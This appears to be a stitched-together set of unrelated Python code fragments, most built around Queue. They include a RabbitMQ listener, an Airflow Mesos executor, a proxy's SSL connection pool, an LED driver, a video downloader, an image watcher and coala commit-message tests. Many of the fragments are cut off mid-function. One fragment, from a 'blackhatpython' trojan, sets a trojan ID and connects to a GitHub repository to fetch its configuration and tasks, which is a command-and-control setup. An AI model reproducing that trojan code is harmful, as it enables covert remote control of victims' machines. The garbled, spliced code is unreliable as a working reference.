self._exchange = EXCHANGES_DICT[rmq_config['exchange']]
self._binding_keys = binding_keys
self._tick_dict = tick_dict
self._test_mode = test_mode
self.msg_queue = Queue() if message_queue is None else message_queue
self._connection = None
self._channel = None
self._queue_name = None
self._customer_tag = None
self._schema_dict = {}
self._message_listener_thread = None
self._thread_lock = Lock()
self._is_listening = False # thread locked
self._watch_symbols = watch_symbols
self._logger = logger if logger is not None else get_logger('rmq_listener')
def _connect_2_rabbit(self):
parameters = None
try:
parameters = pika.ConnectionParameters(
host=self._host, port=self._port, virtual_host='/', connection_attempts=3,
retry_delay=30, credentials=pika.PlainCredentials(self._user, self._password))
self._connection = pika.BlockingConnection(parameters)
self._channel = self._connection.channel()
self._channel.exchange_declare(exchange=self._exchange, exchange_type='topic')
result = self._channel.queue_declare(exclusive=True)
self._queue_name = result.method.queue
for binding_key in self._binding_keys:
self._channel.queue_bind(exchange=self._exchange, queue=self._queue_name, routing_key=binding_key)
self._logger.info("RabbitMQ connected successfully! Parameters: {}".format(parameters))
except BaseException as e:
self._logger.error('RabbitMQ _connect_2_rabbit Error: Parameters: {}'.format(parameters))
self._logger.error('RabbitMQ _connect_2_rabbit Error: {}'.format(e.__repr__()), exc_info=True)
def _callback(self, ch, method, properties, body):
schema_name = method.routing_key.rsplit('.', 1)[-1]
if schema_name in self._schema_dict:
schema = self._schema_dict[schema_name]
else:
schema = avro.schema.Parse(open('{}/{}.avro'.format(AVRO_SCHEMAS_PATH, schema_name)).read())
self._schema_dict[schema_name] = schema
buffer_reader = BytesIO(body)
buffer_decoder = avro.io.BinaryDecoder(buffer_reader)
datum_reader = avro.io.DatumReader(schema)
msg = datum_reader.read(buffer_decoder)
self._distribute_message(schema_name, msg)
def _distribute_message(self, schema_name, msg):
if schema_name == "InstrumentMessage":
self._subscribe_instrument(msg)
elif schema_name == "TradeMessage":
self._subscribe_trade_message(msg)
elif schema_name == "OrderStatusMessage":
self._subscribe_order_status_message(msg)
else:
msg.clear()
def _subscribe_instrument(self, instrument_msg):
"""
Put to message Queue to be read by other threads.
"""
if self._watch_symbols is not None and instrument_msg['symbol'].upper() not in self._watch_symbols:
instrument_msg.clear()
return
translated_msg = {self._tick_dict[k] if k in self._tick_dict else k: v for k, v in instrument_msg.items()}
self.msg_queue.put(translated_msg)
if self._test_mode:
#if instrument_msg['symbol'].upper() == 'RB1910':
self._logger.info("\n{}".format(instrument_msg))
self._logger.info("\n{}".format(self.msg_queue.get()))
def _subscribe_trade_message(self, trade_msg):
trade_msg.clear()
def _subscribe_order_status_message(self, order_status_msg):
order_status_msg.clear()
def _start_consuming(self):
while True:
self._thread_lock.acquire()
if not self._is_listening:
self._thread_lock.release()
break
else:
self._thread_lock.release()
self._connect_2_rabbit()
try:
self._customer_tag = self._channel.basic_consume(self._callback, queue=self._queue_name, no_ack=True)
self._channel.start_consuming()
except BaseException as e:
self._logger.error('RabbitMQ _start_consuming Error: {}'.format(e.__repr__()), exc_info=True)
def _stop_consuming(self):
try:
self._thread_lock.acquire()
self._is_listening = False
self._thread_lock.release()
# Sleep 2 second in case the output Queue interfacing other threads is deleted immediately after it is
# just created. Some RabbitMQ object may still being constructed but not done yet, and some RabbitMQ
# call will fail.
time.sleep(2)
try:
self._channel.cancel()
for binding_key in self._binding_keys:
self._channel.queue_unbind(exchange=self._exchange, queue=self._queue_name, routing_key=binding_key)
self._channel.queue_delete(self._queue_name)
self._channel.close()
except AttributeError as e:
self._logger.error('RabbitMQ _stop_consuming error: {}'.format(e.__repr__()), exc_info=True)
try:
self._connection.close()
except AttributeError as e:
self._logger.error('RabbitMQ _stop_consuming error: {}'.format(e.__repr__()), exc_info=True)
except BaseException as e:
self._logger.error('RabbitMQ _stop_consuming error: {}'.format(e.__repr__()), exc_info=True)
def start_listener(self):
self._message_listener_thread = Thread(target=self._start_consuming)
self._thread_lock.acquire()
self._is_listening = True
self._thread_lock.release()
self._message_listener_thread.start()
self._logger.info("RabbitMQ listener thread started. Host={}:{}@{}:{}. Exchange={}. BindingKeys={}".format(
self._user, self._password, self._host, self._port, self._exchange, self._binding_keys
))
def stop_listener(self):
if self._message_listener_thread is None or not self._message_listener_thread.isAlive():
return
self._stop_consuming()
if self._message_listener_thread.isAlive():
self._message_listener_thread.join()
self._logger.info("RabbitMQ listener thread stopped.")
def start(self):
self.task_queue = Queue()
self.result_queue = Queue()
framework = mesos_pb2.FrameworkInfo()
framework.user = ''
if not configuration.get('mesos', 'MASTER'):
self.log.error("Expecting mesos master URL for mesos executor")
raise AirflowException(
"mesos.master not provided for mesos executor")
master = configuration.get('mesos', 'MASTER')
framework.name = get_framework_name()
if not configuration.get('mesos', 'TASK_CPU'):
task_cpu = 1
else:
task_cpu = configuration.getint('mesos', 'TASK_CPU')
if not configuration.get('mesos', 'TASK_MEMORY'):
task_memory = 256
else:
task_memory = configuration.getint('mesos', 'TASK_MEMORY')
if configuration.getboolean('mesos', 'CHECKPOINT'):
framework.checkpoint = True
if configuration.get('mesos', 'FAILOVER_TIMEOUT'):
# Import here to work around a circular import error
from airflow.models import Connection
# Query the database to get the ID of the Mesos Framework, if available.
conn_id = FRAMEWORK_CONNID_PREFIX + framework.name
session = Session()
connection = session.query(Connection).filter_by(
conn_id=conn_id).first()
if connection is not None:
# Set the Framework ID to let the scheduler reconnect with running tasks.
framework.id.value = connection.extra
framework.failover_timeout = configuration.getint(
'mesos', 'FAILOVER_TIMEOUT')
else:
framework.checkpoint = False
self.log.info(
'MesosFramework master : %s, name : %s, cpu : %s, mem : %s, checkpoint : %s',
master, framework.name, str(task_cpu), str(task_memory),
str(framework.checkpoint))
implicit_acknowledgements = 1
if configuration.getboolean('mesos', 'AUTHENTICATE'):
if not configuration.get('mesos', 'DEFAULT_PRINCIPAL'):
self.log.error(
"Expecting authentication principal in the environment")
raise AirflowException(
"mesos.default_principal not provided in authenticated mode"
)
if not configuration.get('mesos', 'DEFAULT_SECRET'):
self.log.error(
"Expecting authentication secret in the environment")
raise AirflowException(
"mesos.default_secret not provided in authenticated mode")
credential = mesos_pb2.Credential()
credential.principal = configuration.get('mesos',
'DEFAULT_PRINCIPAL')
credential.secret = configuration.get('mesos', 'DEFAULT_SECRET')
framework.principal = credential.principal
driver = mesos.native.MesosSchedulerDriver(
AirflowMesosScheduler(self.task_queue, self.result_queue,
task_cpu, task_memory), framework,
master, implicit_acknowledgements, credential)
else:
framework.principal = 'Airflow'
driver = mesos.native.MesosSchedulerDriver(
AirflowMesosScheduler(self.task_queue, self.result_queue,
task_cpu, task_memory), framework,
master, implicit_acknowledgements)
self.mesos_driver = driver
self.mesos_driver.start()
import logging.config log = logging.getLogger(__name__) @unique class ReportStatus(IntEnum): # Join Status INFO = 3 WARNING = 2 ADMIN = 1 UNKNOWN = 0 @classmethod def has_value(cls, value): return value in cls._value2member_map_ report_queue = Queue(maxsize=0) class Report(): def __init__(self, level, message, from_uid, about_cid, about_uid, about_msgid, specific_message): if ReportStatus.has_value(level): self.level = level self.from_uid = from_uid self.about_cid = about_cid self.about_uid = about_uid self.about_msgid = about_msgid self.message = message self.specific_message = specific_message # Push a report inside the Queue def send_report(bot, level, message, from_uid, about_cid="", about_uid="", about_msgid="", specific_message=""): report = Report(level, message, from_uid, about_cid, about_uid, about_msgid, specific_message)
def create_ssl_connection(self, address, hostname, cache_key, getfast=None, forward=None, **kwargs):
def get_cache_sock(cache=None):
if cache is None:
cache = self.ssl_connection_cache.get(cache_key)
try:
while cache:
ctime, ssl_sock = cache.pop()
if self.check_connection_alive(ssl_sock, self.keeptime, ctime):
return ssl_sock
except IndexError:
pass
def get_cache_sock_ex():
if cache_key is None or '|' in hostname:
return
names = hostname.split('.')
if len(names[-1]) == 2 and len(names[-2]) <= 3:
if len(names) > 3:
del names[0]
elif len(names) > 2:
del names[0]
chost = '.'.join(names)
ckey = '%s:%s' % (chost, cache_key.partition(':')[-1])
keys = tuple(self.ssl_connection_cache.keys())
for key in keys:
if key not in self.ssl_connection_cache or\
'|' in key or not key.endswith(ckey):
continue
cache = self.ssl_connection_cache[key]
sock = get_cache_sock(cache)
if sock:
if key != cache_key:
logging.warning(
'%s create_ssl_connection %r 尝试复用 %r 连接，'
'站点 %r 可能配置了多个子域名和较少的 IP。\n'
'可以尝试在 iplist 配置列表：\tcdn_%s = %s\n'
'然后在自动规则中使用此列表：\t%s$ = cdn_%s',
sock.xip[0], hostname, key, chost, chost, chost, chost, chost)
return sock
sock = get_cache_sock()
if sock:
return sock
result = None
host, port = address
addresses = [(x, port) for x in dns[hostname]]
for i in range(self.max_retry):
addresseslen = len(addresses)
if getfast and gae_testgwsiplist:
#按线程数量获取排序靠前的 IP
addresses.sort(key=self.get_ssl_connection_time)
addrs = addresses[:autorange_threads + 1]
else:
if addresseslen > self.max_window:
addresses.sort(key=self.get_ssl_connection_time)
window = min((self.max_window + 1)//2 + min(i, 1), addresseslen)
addrs = addresses[:window] + random.sample(addresses[window:], self.max_window-window)
else:
addrs = addresses
queobj = Queue()
for addr in addrs:
start_new_thread(self._create_ssl_connection, (addr, cache_key, host, queobj, forward, get_cache_sock))
addrslen = len(addrs)
for n in range(addrslen):
result = queobj.get()
if isinstance(result, Exception):
addr = result.xip
if addresseslen > 1:
#临时移除 badip
try:
addresses.remove(addr)
addresseslen -= 1
except ValueError:
pass
if i == n == 0:
if isinstance(result, LimiterFull):
sock = get_cache_sock_ex()
if sock:
return sock
else:
#only output first error
logging.warning('%s _create_ssl_connection %r 返回 %r，重试', addr[0], host, result)
else:
if addrslen - n > 1:
cache = self.ssl_connection_cache[cache_key]
start_new_thread(self._cache_connection, (cache, addrslen-n-1, queobj))
return result
if result:
raise result
mv = sg.select_move()
else:
mv = sg.moves[int(len(sg.moves) * random.random())]
sg.play_move(mv)
sg.turn = 1 - sg.turn
count += 1
num_white, num_black = sg.final_result()
if num_white > num_black: w += 1
if num_black > num_white: b += 1
return w / b
try:
qdp = Popen("java -jar quickdraw.jar", shell=True, stdout=PIPE, stdin=PIPE)
op = qdp.stdin
qdq = Queue()
qdt = Thread(target=_queueqd, args=(qdp.stdout, qdq))
qdt.daemon = True
qdt.start()
except:
print("quickdraw.jar must be in the same directory as this python script.")
quit()
send("mouseclick True\n")
# initialize the board, get ready for the game
board = makeBoard()
draw(board)
# game time, let's play...
# human player is white and moves first
#### CONFIGURE YOUR SETTINGS HERE ####
GH_USERNAME = '******'
GH_PASSWORD = '******'
OWNER = 'tsjoji'
REPOSITORY = 'blackhatpython'
BRANCH = 'main'
######################################
trojan_id = "abc" # unique id for this trojan
relative_path = ""
trojan_config = relative_path + "config/{0}.json".format(trojan_id)
data_path = relative_path + "data/{0}/".format(trojan_id)
trojan_modules = []
configured = False
task_queue = Queue()
def connect_to_github():
# NOTE: there is also an option to login via tokens (see docs for more info)
gh = login(username=GH_USERNAME, password=GH_PASSWORD)
repo = gh.repository(OWNER, REPOSITORY)
branch = repo.branch(BRANCH)
return gh, repo, branch
def get_file_contents(filepath):
gh, repo, branch = connect_to_github()
tree = branch.commit.commit.tree.to_tree().recurse()
for filename in tree.tree:
if filepath in filename.path:
def execute_jobs(jobs,
show_progress=False,
number_of_workers=10,
debug_jobs=False):
from vcstool.streams import stdout
if debug_jobs:
logger.setLevel(logging.DEBUG)
results = []
job_queue = Queue()
result_queue = Queue()
# create worker threads
workers = []
for _ in range(min(number_of_workers, len(jobs))):
worker = Worker(job_queue, result_queue)
workers.append(worker)
# fill job_queue with jobs for each worker
pending_jobs = list(jobs)
running_job_paths = []
while job_queue.qsize() < len(workers):
job = get_ready_job(pending_jobs)
if not job:
break
running_job_paths.append(job['client'].path)
logger.debug("started '%s'" % job['client'].path)
job_queue.put(job)
logger.debug('ongoing %s' % running_job_paths)
# start all workers
[w.start() for w in workers]
# collect results
while len(results) < len(jobs):
(job, result) = result_queue.get()
logger.debug("finished '%s'" % job['client'].path)
running_job_paths.remove(result['job']['client'].path)
if show_progress and len(jobs) > 1:
if result['returncode'] == NotImplemented:
stdout.write('s')
elif result['returncode']:
stdout.write('E')
else:
stdout.write('.')
if debug_jobs:
stdout.write('\n')
stdout.flush()
result.update(job)
results.append(result)
if pending_jobs:
for pending_job in pending_jobs:
pending_job.get('depends', set()).discard(job['client'].path)
while job_queue.qsize() < len(workers):
job = get_ready_job(pending_jobs)
if not job:
break
running_job_paths.append(job['client'].path)
logger.debug("started '%s'" % job['client'].path)
job_queue.put(job)
assert running_job_paths
if running_job_paths:
logger.debug('ongoing ' + str(running_job_paths))
if show_progress and len(jobs) > 1 and not debug_jobs:
print('', file=stdout) # finish progress line
# join all workers
for w in workers:
w.done = True
[w.join() for w in workers]
return results
class Pixels:
NUM_LEDS = 12
PIN_MOSI = 10
PIN_SCLK = 11
PIN_SEL = 7 # CE1
brightness = 5
def __init__(self, pattern=AlexaLedPattern):
self.pattern = pattern(show=self.show)
self.dev = APA102(num_led=self.NUM_LEDS)
self.power = LED(5)
self.power.on()
self.queue = Queue()
self.thread = Thread(target=self._run)
self.thread.daemon = True
self.thread.start()
self.last_direction = None
def wakeup(self, direction=0):
self.last_direction = direction
def f():
self.pattern.wakeup(direction)
self.put(f)
def listen(self):
if self.last_direction:
def f():
self.pattern.wakeup(self.last_direction)
self.put(f)
else:
self.put(self.pattern.listen)
def think(self):
self.put(self.pattern.think)
def speak(self):
self.put(self.pattern.speak)
def off(self):
self.put(self.pattern.off)
def put(self, func):
self.pattern.stop = True
self.queue.put(func)
def _run(self):
while True:
func = self.queue.get()
self.pattern.stop = False
func()
def show(self, data):
for i in range(self.NUM_LEDS):
self.dev.set_pixel(i, int(data[4 * i + 1]), int(data[4 * i + 2]),
int(data[4 * i + 3]))
self.dev.show()
class Downloader:
def __init__(self, dir_path):
self.arg_list = ["rtmpdump", "-q"]
self.counter = 0
self.totalfiles = 0
self.queue = Queue()
self.dir_path = dir_path
self.numthreads = 8
self.setTotalNumFiles()
self.queueUp()
self.launchThreads()
self.queue.join()
self.mergeAllDirs()
#generator
def walkRootDir(self):
for dirname in os.listdir(self.dir_path):
#skip hidden files
if not dirname[0].isalnum():
continue
to_dir_path = os.path.join(self.dir_path, dirname)
for filename in os.listdir(to_dir_path):
file_path = os.path.join(to_dir_path, filename)
file_prefix, ext = os.path.splitext(filename)
if os.path.isdir(file_path) or ext.strip() != ".html":
continue
with open(file_path, 'r') as html_file:
soup = BeautifulSoup(html_file.read(), "html.parser")
flash_pattern = re.compile(
r'var\s*flashvars\s*\=\s*(((.|\n))+?\})\;')
flashvars = soup.find("script", text=flash_pattern)
if flashvars:
matching_id = flash_pattern.search(flashvars.text)
if matching_id:
stripped = re.search(r's:\s*(\"\d+\")\s*\,',
matching_id.group(1))
if stripped:
rec_id = stripped.group(1).replace('"', "")
yield (rec_id, file_prefix, dirname)
else:
print "FILE INVALID: " + filename
self.totalfiles -= 1
else:
print "FILE INVALID: " + filename
self.totalfiles -= 1
else:
print "FILE INVALID: " + filename
self.totalfiles -= 1
def download(self, address, out_filename, dirname):
out_filename = out_filename + ".flv"
try:
subprocess.check_call(self.arg_list + ["-r", address] +
["-o", out_filename])
self.counter += 1
sys.stdout.write("Downloaded {0} -> {1}/{2}\n".format(
out_filename, self.counter, self.totalfiles))
sys.stdout.flush()
except subprocess.CalledProcessError, e:
sys.stdout.write("UNABLE TO DOWNLOAD: {0}\n".format(out_filename))
sys.stdout.flush()
else:
class ImageWatcher(Module):
"""Watch for new images and write them to all given destinations.
Watches a path for new images and stores them in all given destinations. Only if all operations were successful,
the file is deleted.
"""
def __init__(self,
watchpath: str = None,
destinations: list = None,
*args,
**kwargs):
"""Create a new image watcher.
Args:
watchpath: Path to watch.
destinations: Filename patterns for destinations.
"""
Module.__init__(self, *args, **kwargs)
# test import
import pyinotify
# add thread func
self._add_thread_func(self._worker, True)
# variables
self._watchpath = watchpath
self._notifier = None
self._queue = Queue()
# filename patterns
if not destinations:
raise ValueError(
'No filename patterns given for the destinations.')
self._destinations = destinations
def open(self):
"""Open module."""
Module.open(self)
import pyinotify
class EventHandler(pyinotify.ProcessEvent):
"""Event handler for file watcher."""
def __init__(self, main, *args, **kwargs):
"""Create event handler."""
pyinotify.ProcessEvent.__init__(self, *args, **kwargs)
self.main = main
def process_IN_CLOSE_WRITE(self, event):
"""React to IN_CLOSE_WRITE events."""
self.main.add_image(event.pathname)
# start watching directory
if self._watchpath:
log.info('Start watching directory %s for changes...',
self._watchpath)
wm = pyinotify.WatchManager()
wm.add_watch(self._watchpath, pyinotify.IN_CLOSE_WRITE)
self._notifier = pyinotify.ThreadedNotifier(
wm, default_proc_fun=EventHandler(self)) #, name='observer')
self._notifier.start()
def close(self):
"""Close image watcher."""
Module.close(self)
# stop watching
if self._notifier:
log.info('Stop watching directory...')
self._notifier.stop()
def add_image(self, filename: str):
"""Add an image to the image database.
Args:
filename (str): Local filename of new image.
"""
# log file
log.info('Adding new image %s...', filename)
self._queue.put(filename)
def _clear_queue(self):
"""Clear the queue with new files."""
# clear queue
with self._queue.mutex:
self._queue.queue.clear()
def _worker(self):
"""Worker thread."""
# first, add all files from directory to queue
self._clear_queue()
for filename in sorted(glob.glob(os.path.join(self._watchpath, '*'))):
self.add_image(filename)
# run forever
while not self.closing.is_set():
# get next filename
if self._queue.empty():
self.closing.wait(1)
continue
filename = self._queue.get()
log.info('Working on file %s...', filename)
# better safe than sorry
try:
# open file
fits_file = fits.open(filename)
# loop archive and upload
success = True
for pattern in self._destinations:
# create filename
out_filename = format_filename(fits_file['SCI'].header,
pattern)
# store it
log.info('Storing file as %s...', out_filename)
try:
with self.vfs.open_file(out_filename, 'w') as dest:
fits_file.writeto(dest)
except:
log.exception(
'Error while copying file, skipping for now.')
success = False
# no success_
if not success:
continue
# close and delete files
log.info('Removing file from watch directory...')
os.remove(filename)
except:
log.exception('Something went wrong.')
class GitCommitBearTest(unittest.TestCase):
@staticmethod
def run_git_command(*args, stdin=None):
run_shell_command(' '.join(('git', ) + args), stdin)
@staticmethod
def git_commit(msg):
# Use stdin mode from git, since -m on Windows cmd does not support
# multiline messages.
GitCommitBearTest.run_git_command('commit',
'--allow-empty',
'--allow-empty-message',
'--file=-',
stdin=msg)
def run_uut(self, *args, **kwargs):
"""
Runs the unit-under-test (via `self.uut.run()`) and collects the
messages of the yielded results as a list.
:param args: Positional arguments to forward to the run function.
:param kwargs: Keyword arguments to forward to the run function.
:return: A list of the message strings.
"""
return list(result.message for result in self.uut.run(*args, **kwargs))
def assert_no_msgs(self):
"""
Assert that there are no messages in the message queue of the bear, and
show the messages in the failure messgae if it is not empty.
"""
self.assertTrue(
self.msg_queue.empty(),
'Expected no messages in bear message queue, but got: ' +
str(list(str(i) for i in self.msg_queue.queue)))
def setUp(self):
self.msg_queue = Queue()
self.section = Section('')
self.uut = GitCommitBear(None, self.section, self.msg_queue)
self._old_cwd = os.getcwd()
self.gitdir = mkdtemp()
os.chdir(self.gitdir)
self.run_git_command('init')
self.run_git_command('config', 'user.email [email protected]')
self.run_git_command('config', 'user.name coala')
@staticmethod
def _windows_rmtree_remove_readonly(func, path, excinfo):
os.chmod(path, stat.S_IWRITE)
func(path)
def tearDown(self):
os.chdir(self._old_cwd)
if platform.system() == 'Windows':
onerror = self._windows_rmtree_remove_readonly
else:
onerror = None
shutil.rmtree(self.gitdir, onerror=onerror)
def test_git_failure(self):
# In this case use a reference to a non-existing commit, so just try
# to log all commits on a newly created repository.
self.assertEqual(self.run_uut(), [])
git_error = self.msg_queue.get().message
self.assertEqual(git_error[:4], 'git:')
self.assert_no_msgs()
def test_empty_message(self):
self.git_commit('')
self.assertEqual(self.run_uut(), ['HEAD commit has no message.'])
self.assert_no_msgs()
self.assertEqual(self.run_uut(allow_empty_commit_message=True), [])
self.assert_no_msgs()
def test_shortlog_checks_length(self):
self.git_commit('Commit messages that nearly exceed default limit..')
self.assertEqual(self.run_uut(), [])
self.assert_no_msgs()
self.assertEqual(self.run_uut(shortlog_length=17), [
'Shortlog of the HEAD commit contains 50 '
'character(s). This is 33 character(s) longer than '
'the limit (50 > 17).'
])
self.assert_no_msgs()
self.git_commit('Add a very long shortlog for a bad project history.')
self.assertEqual(self.run_uut(), [
'Shortlog of the HEAD commit contains 51 '
'character(s). This is 1 character(s) longer than '
'the limit (51 > 50).'
])
self.assert_no_msgs()
def test_shortlog_checks_shortlog_trailing_period(self):
self.git_commit('Shortlog with dot.')
self.assertEqual(self.run_uut(shortlog_trailing_period=True), [])
self.assertEqual(self.run_uut(shortlog_trailing_period=False),
['Shortlog of HEAD commit contains a period at end.'])
self.assertEqual(self.run_uut(shortlog_trailing_period=None), [])
self.git_commit('Shortlog without dot')
self.assertEqual(
self.run_uut(shortlog_trailing_period=True),
['Shortlog of HEAD commit contains no period at end.'])
self.assertEqual(self.run_uut(shortlog_trailing_period=False), [])
self.assertEqual(self.run_uut(shortlog_trailing_period=None), [])
def test_shortlog_wip_check(self):
self.git_commit('[wip] Shortlog')
self.assertEqual(self.run_uut(shortlog_wip_check=False), [])
self.assertEqual(self.run_uut(shortlog_wip_check=True), [
'This commit seems to be marked as work in progress '
'and should not be used in production. Treat '
'carefully.'
])
self.assertEqual(self.run_uut(shortlog_wip_check=None), [])
self.git_commit('Shortlog as usual')
self.assertEqual(self.run_uut(shortlog_wip_check=True), [])
def test_shortlog_checks_imperative(self):
self.git_commit('tag: Add shortlog in imperative')
self.assertNotIn(
"Shortlog of HEAD commit isn't in imperative "
"mood! Bad words are 'added'", self.run_uut())
self.git_commit('Added invalid shortlog')
self.assertIn(
"Shortlog of HEAD commit isn't in imperative "
"mood! Bad words are 'Added'", self.run_uut())
self.git_commit('Adding another invalid shortlog')
self.assertIn(
"Shortlog of HEAD commit isn't in imperative "
"mood! Bad words are 'Adding'", self.run_uut())
self.git_commit('Added another invalid shortlog')
self.assertNotIn(
"Shortlog of HEAD commit isn't in imperative "
"mood! Bad words are 'Added'",
self.run_uut(shortlog_imperative_check=False))
def test_shortlog_checks_regex(self):
pattern = '.*?: .*[^.]'
self.git_commit('tag: message')
self.assertEqual(self.run_uut(shortlog_regex=pattern), [])
self.git_commit('tag: message invalid.')
self.assertEqual(self.run_uut(shortlog_regex=pattern), [
'Shortlog of HEAD commit does not match given regex: {regex}'.
format(regex=pattern)
])
self.git_commit('SuCkS cOmPleTely')
self.assertEqual(self.run_uut(shortlog_regex=pattern), [
'Shortlog of HEAD commit does not match given regex: {regex}'.
format(regex=pattern)
])
# Check for full-matching.
pattern = 'abcdefg'
self.git_commit('abcdefg')
self.assertEqual(self.run_uut(shortlog_regex=pattern), [])
self.git_commit('abcdefgNO MATCH')
self.assertEqual(self.run_uut(shortlog_regex=pattern), [
'Shortlog of HEAD commit does not match given regex: {regex}'.
format(regex=pattern)
])
def test_body_checks(self):
self.git_commit(
'Commits message with a body\n\n'
'nearly exceeding the default length of a body, but not quite. '
'haaaaaands')
self.assertEqual(self.run_uut(), [])
self.assert_no_msgs()
self.git_commit('Shortlog only')
self.assertEqual(self.run_uut(), [])
self.assert_no_msgs()
# Force a body.
self.git_commit('Shortlog only ...')
self.assertEqual(self.run_uut(force_body=True),
['No commit message body at HEAD.'])
self.assert_no_msgs()
# Miss a newline between shortlog and body.
self.git_commit('Shortlog\nOops, body too early')
self.assertEqual(self.run_uut(), [
'No newline found between shortlog and body at '
'HEAD commit. Please add one.'
])
self.assert_no_msgs()
# And now too long lines.
self.git_commit('Shortlog\n\n'
'This line is ok.\n'
'This line is by far too long (in this case).\n'
'This one too, blablablablablablablablabla.')
self.assertEqual(self.run_uut(body_line_length=41), [
'Body of HEAD commit contains too long lines. '
'Commit body lines should not exceed 41 '
'characters.'
])
self.assert_no_msgs()
# Allow long lines with ignore regex
self.git_commit('Shortlog\n\n'
'This line is ok.\n'
'This line is by far too long (in this case).')
self.assertEqual(
self.run_uut(body_line_length=41,
ignore_length_regex=('^.*too long', )), [])
self.assertTrue(self.msg_queue.empty())
# body_regex, not fully matched
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Fix 1112')
self.assertEqual(self.run_uut(body_regex=r'Fix\s+[1-9][0-9]*\s*'), [
'No match found in commit message for the regular '
r'expression provided: Fix\s+[1-9][0-9]*\s*'
])
self.assert_no_msgs()
# Matching with regexp, fully matched
self.git_commit('Shortlog\n\n' 'TICKER\n' 'CLOSE 2017')
self.assertEqual(
self.run_uut(body_regex=r'TICKER\s*CLOSE\s+[1-9][0-9]*'), [])
self.assert_no_msgs()
def test_check_issue_reference(self):
# Commit with no remotes configured
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Closes #01112')
self.assertEqual(self.run_uut(body_close_issue=True), [])
# Adding BitBucket remote for testing
self.run_git_command('remote', 'add', 'test',
'https://bitbucket.com/user/repo.git')
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Closes #1112')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True),
['Host bitbucket does not support full issue '
'reference.'])
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Closes #1112')
self.assertEqual(self.run_uut(body_close_issue=True), [])
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Resolves https://bitbucket.org/user/repo/issues/1/')
self.assertEqual(self.run_uut(body_close_issue=True), [
'Invalid issue reference: '
'https://bitbucket.org/user/repo/issues/1/'
])
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Resolves https://bitbucket.org/user/repo/issues/1/')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True),
['Host bitbucket does not support full issue '
'reference.'])
# Adding BitBucket's ssh remote for testing
self.run_git_command('remote', 'set-url', 'test',
'[email protected]:user/repo.git')
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Closes #1112')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True),
['Host bitbucket does not support full issue '
'reference.'])
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Closes #1112')
self.assertEqual(self.run_uut(body_close_issue=True), [])
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Fix issue #1112')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_enforce_issue_reference=True), [])
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Resolving bug#1112')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_enforce_issue_reference=True),
['Invalid issue reference: bug#1112'])
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Fixed randomkeyword#1112')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_enforce_issue_reference=True),
['Invalid issue reference: randomkeyword#1112'])
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Closes#1112')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_enforce_issue_reference=True),
['Body of HEAD commit does not contain any '
'issue reference.'])
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Closes bug bug#1112')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_enforce_issue_reference=True),
['Invalid issue reference: bug'])
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Closesticket #1112')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_enforce_issue_reference=True),
['Body of HEAD commit does not contain any '
'issue reference.'])
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Resolves https://bitbucket.org/user/repo/issues/1/')
self.assertEqual(self.run_uut(body_close_issue=True), [
'Invalid issue reference: '
'https://bitbucket.org/user/repo/issues/1/'
])
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Resolves https://bitbucket.org/user/repo/issues/1/')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True),
['Host bitbucket does not support full issue '
'reference.'])
# Adding GitHub remote for testing, ssh way :P
self.run_git_command('remote', 'set-url', 'test',
'[email protected]:user/repo.git')
# GitHub host with an issue
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Fixed https://github.com/usr/repo/issues/1112\n'
'and https://github.com/usr/repo/issues/1312')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True), [])
# No keywords and no issues
self.git_commit('Shortlog\n\n'
'This line is ok.\n'
'This line is by far too long (in this case).\n'
'This one too, blablablablablablablablabla.')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True,
body_close_issue_on_last_line=True), [])
self.assert_no_msgs()
# No keywords, no issues, no body
self.git_commit('Shortlog only')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_on_last_line=True), [])
self.assert_no_msgs()
# Has keyword but no valid issue URL
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Fix https://github.com/user/repo.git')
self.assertEqual(
self.run_uut(body_close_issue=True,
body_close_issue_full_url=True), [
'Invalid full issue reference: '
'https://github.com/user/repo.git'
])
self.assert_no_msgs()
# GitHub host with short issue tag
self.git_commit('Shortlog\n\n'
'First line, blablablablablabla.\n'
'Another line, blablablablablabla.\n'
'Fix #1112, #1115 and #123')
self.assertEqual(self.run_uut(body_close_issue=True, ), [])
